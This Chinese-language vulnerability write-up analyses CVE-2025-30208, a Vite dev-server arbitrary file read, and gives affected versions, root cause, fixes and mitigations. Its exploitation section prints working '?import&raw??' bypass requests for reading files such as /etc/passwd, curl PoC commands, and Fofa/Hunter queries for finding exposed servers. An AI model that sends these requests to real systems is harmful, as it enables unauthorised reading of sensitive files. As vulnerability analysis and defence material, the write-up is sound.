【CVE-2025-30208】| Vite-漏洞分析与复现
漏洞简介
CVE-2025-30208 是 Vite 开发服务器中的一个任意文件读取漏洞。该漏洞允许攻击者通过特定的 URL 参数绕过访问控制,从而读取服务器上的敏感文件(如 /etc/passwd
或 C:\windows\win.ini
)。
该漏洞主要影响以下版本的 Vite:
- 6.2.3 之前
- 6.1.2 之前
- 6.0.12 之前
- 5.4.15 之前
- 4.5.10 之前
漏洞原理
Vite 开发服务器提供 @fs
机制,用于防止访问 Vite 允许列表之外的文件。然而,由于 URL 解析时的正则表达式处理不当,攻击者可以通过 ?raw??
或 ?import&raw??
等查询参数绕过访问限制,从而读取任意文件。
影响范围
此漏洞仅影响明确将 Vite 开发服务器暴露到网络的应用程序,即使用 --host
或 server.host
配置选项的情况。
详细分析
在 Vite 服务器的 URL 处理逻辑中,@fs
机制原本用于限制对非白名单目录的访问,例如:
server: {
fs: {
allow: [path.resolve(__dirname, 'src')]
}
}
然而,Vite 在 URL 解析过程中会移除部分特殊字符,而未正确考虑查询参数的影响,导致攻击者可以构造类似如下的请求绕过安全检查:
GET /@fs/etc/passwd?raw??
GET /@fs/etc/passwd?import&raw??
由于 Vite 解析 URL 时未正确处理这些参数,导致绕过 server.fs.allow
限制,并返回任意文件内容。
漏洞利用
Fofa & Hunter 搜索
攻击者可使用以下测绘语句搜索可能受影响的 Vite 服务器:
Fofa:
body="/@vite/client"
Hunter:
web.body="/@vite/client"
PoC(概念验证)
-
启动 Vite 服务器:
$ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev
-
创建测试文件:
$ echo "top secret content" > /tmp/secret.txt
-
发送漏洞利用请求:
# 正常情况下被拒绝 $ curl "http://localhost:5173/@fs/tmp/secret.txt" # 绕过访问控制 $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??" export default "top secret content\n"
漏洞验证
GET /etc/passwd?import&raw?? HTTP/1.1
Host: ********
也可使用 Nuclei 进行自动化漏洞检测,以下是对应的 YAML 规则:
nuclei-验证脚本通过网盘分享的文件:CVE-2025-30208.yaml链接: https://pan.baidu.com/s/16hSpH7szUbjidG-5v9xrTw?pwd=i2hx 提取码: i2hx
修复方案
Vite 官方已在以下版本修复了该漏洞:
- 6.2.3
- 6.1.2
- 6.0.12
- 5.4.15
- 4.5.10
版本更新
建议受影响的用户升级到最新版本,或至少升级至修复版本。
临时缓解方案
如果无法立即升级,可以采取以下措施降低风险:
-
限制对 Vite 开发服务器的访问
- 仅允许本地访问,不对外开放。
- 通过
firewall
或nginx
进行访问控制。
-
使用
server.fs.deny
选项显式禁止访问敏感文件server: { fs: { deny: ["/etc/passwd", "/windows/win.ini"] } }
-
启用身份验证
- 通过
HTTP Basic Auth
或JWT
保护开发服务器。
- 通过
免责声明
本文分享的漏洞POC及相关技术仅限学习和自查用途,请勿用于非法测试或其他不当行为。传播或利用本文及相关工具所导致的任何直接或间接后果,包括法律责任和不良影响,均由使用者自行承担,文章作者概不负责。如内容涉及侵权问题,请及时联系,作者将迅速处理并致以歉意。此外,工具来源于网络,安全性需用户自行验证。感谢您的理解与支持!